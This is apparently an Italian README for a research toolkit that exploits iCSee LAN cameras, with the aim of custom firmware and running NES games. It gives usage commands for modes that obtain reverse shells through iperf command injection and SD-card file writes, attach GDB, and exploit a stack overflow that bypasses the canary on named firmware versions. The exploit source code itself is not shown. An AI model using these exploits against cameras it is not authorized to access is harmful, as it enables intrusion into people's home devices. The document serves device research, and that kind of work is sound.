
Questa è una suite di strumenti/PoCs/exploit per telecamere che utilizzano l'applicazione iCSee. E sì - può eseguire giochi NES!
Questa è una suite di strumenti/PoC/exploit che possono essere utilizzati con telecamere per videochiamate iCSee via LAN (e forse anche con telecamere senza videochiamata). Può essere facilmente usata per flashare firmware alternativi in sostituzione del metodo di aggiornamento tramite scheda SD.
Nota: Qualsiasi exploit di corruzione della memoria funzionerà solo se la versione del firmware della tua telecamera è V5.00.R02.000949U5.10000.141324.0000010 o V5.00.R02.000807E5.10000.346724.0000010 – questi exploit si basano su offset fissi, che cambiano ogni volta che il firmware viene compilato.
[0] Enumerazione, Smontaggio ed Estrazione del Firmware
[1] Imparare il Linguaggio della Telecamera
[2] Trovare Integer Overflow Inutili + Alcuni Bug Utili
[3] Morte per Stack Overflow + Divertimento con i Canary
[5] Telecamera Diversa, Stessa App
[6] Vindication + Exploit Completo di Corruzione della Memoria sulla Seconda Telecamera
[7] Emulare Giochi NES sulla Telecamera
pycryptodome : Per la crittografia del login RSApwntools : Per lo shellcodepyftpdlib : Per il server FTPpynput : Per l'input della tastiera NESget_system_infoQuesto utilizza il metodo get_system_info per ottenere informazioni sulla telecamera tramite la porta 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsUtilizza alcune funzionalità testuali rimaste per estrarre i log dal dispositivo (i log finiscono in FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellSfrutta una vulnerabilità di scrittura su file della scheda SD e la vulnerabilità di esecuzione del binario iperf che consente l'esecuzione remota di un binario presente sulla scheda SD, per ottenere una reverse shell e avviare un debugger GDB che si attacca al processo principale App.
Terminale 1:
nc -l 1234
Terminale 2:
python3 icseeu.py gdb_revshell
Terminale 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: Non fermare il programma per più di 30 secondi altrimenti il watchdog si lamenta e il processo App si riavvia!
Nota 2: Potrebbe essere necessario modificare gli indirizzi IP hardcoded nel payload (GDB_Revshell/remote_mgmt.c) con l'IP della propria macchina sulla LAN e ricostruire il payload.
gdb_revshell_injectSfrutta una vulnerabilità di scrittura su file della scheda SD e la vulnerabilità di iniezione comandi iperf che consente l'esecuzione remota di un binario presente sulla scheda SD, per ottenere una reverse shell e avviare un debugger GDB che si attacca al processo principale App.
Questo è utile per dispositivi che hanno già un binario iperf presente, che impedisce l'altro metodo.
Terminale 1:
nc -l 1234
Terminale 2:
python3 icseeu.py gdb_revshell_inject
Terminale 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: Non fermare il programma per più di 30 secondi altrimenti il watchdog si lamenta e il processo App si riavvia!
Nota 2: Potrebbe essere necessario modificare gli indirizzi IP hardcoded nel payload (GDB_Revshell/remote_mgmt.c) con l'IP della propria macchina sulla LAN e ricostruire il payload.
iperf_inject_exploitSfrutta l'iniezione comandi iperf per stabilire una reverse shell.
Terminale 1:
nc -l 1234
Terminale 2:
python3 icseeu.py iperf_inject_exploit
Nota: Potrebbe essere necessario modificare gli indirizzi IP hardcoded nel payload (Revshell_Inject/remote_mgmt.c) con l'IP della propria macchina sulla LAN e ricostruire il payload.
Questi sono exploit per il secondo stack overflow nel gestore del tipo di messaggio 0x7d8. Questo overflow è interessante perché ci permette di bypassare il canary dello stack e ottenere l'esecuzione.
Dovrai costruire il payload del dispatcher prima che funzionino (esegui make nella directory PayloadDispatcher) e il payload che vuoi eseguire sulla telecamera eseguendo make nelle rispettive directory (ad es. ImageDisplay).
Note:
screenflashDimostra che abbiamo l'esecuzione di codice facendo lampeggiare lo schermo.
python3 icseeu.py exploit_goke screenflash
rgbDimostra che abbiamo il controllo dello schermo facendo lampeggiare colori RGB.
python3 icseeu.py exploit_goke rgb
imagedisplayUtilizza la scrittura su file per caricare un'immagine RGB raw 5:6:5, esegui ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw su un'immagine nella directory per ottenere un file image.raw nella directory ImageDisplay affinché funzioni. L'immagine verrà visualizzata sullo schermo.
python3 icseeu.py exploit_goke imagedisplay
buttontestDimostra che possiamo leggere lo stato dei pulsanti, lampeggia un colore quando viene rilevata la pressione di uno dei pulsanti.
python3 icseeu.py exploit_goke buttontest
pongUn'implementazione minimale del gioco Pong che dimostra che abbiamo il controllo dello schermo e dei pulsanti frontali, e mostra anche un payload leggermente più complesso.
python3 icseeu.py exploit_goke pong
nesUn emulatore NES portato che può eseguire il file rom.nes posizionato nella directory GOKE_Payloads/nes, esegui make in GOKE_Payloads/nes/smolnes e GOKE_Payload/nes per generare i binari.
python3 icseeu.py exploit_goke nes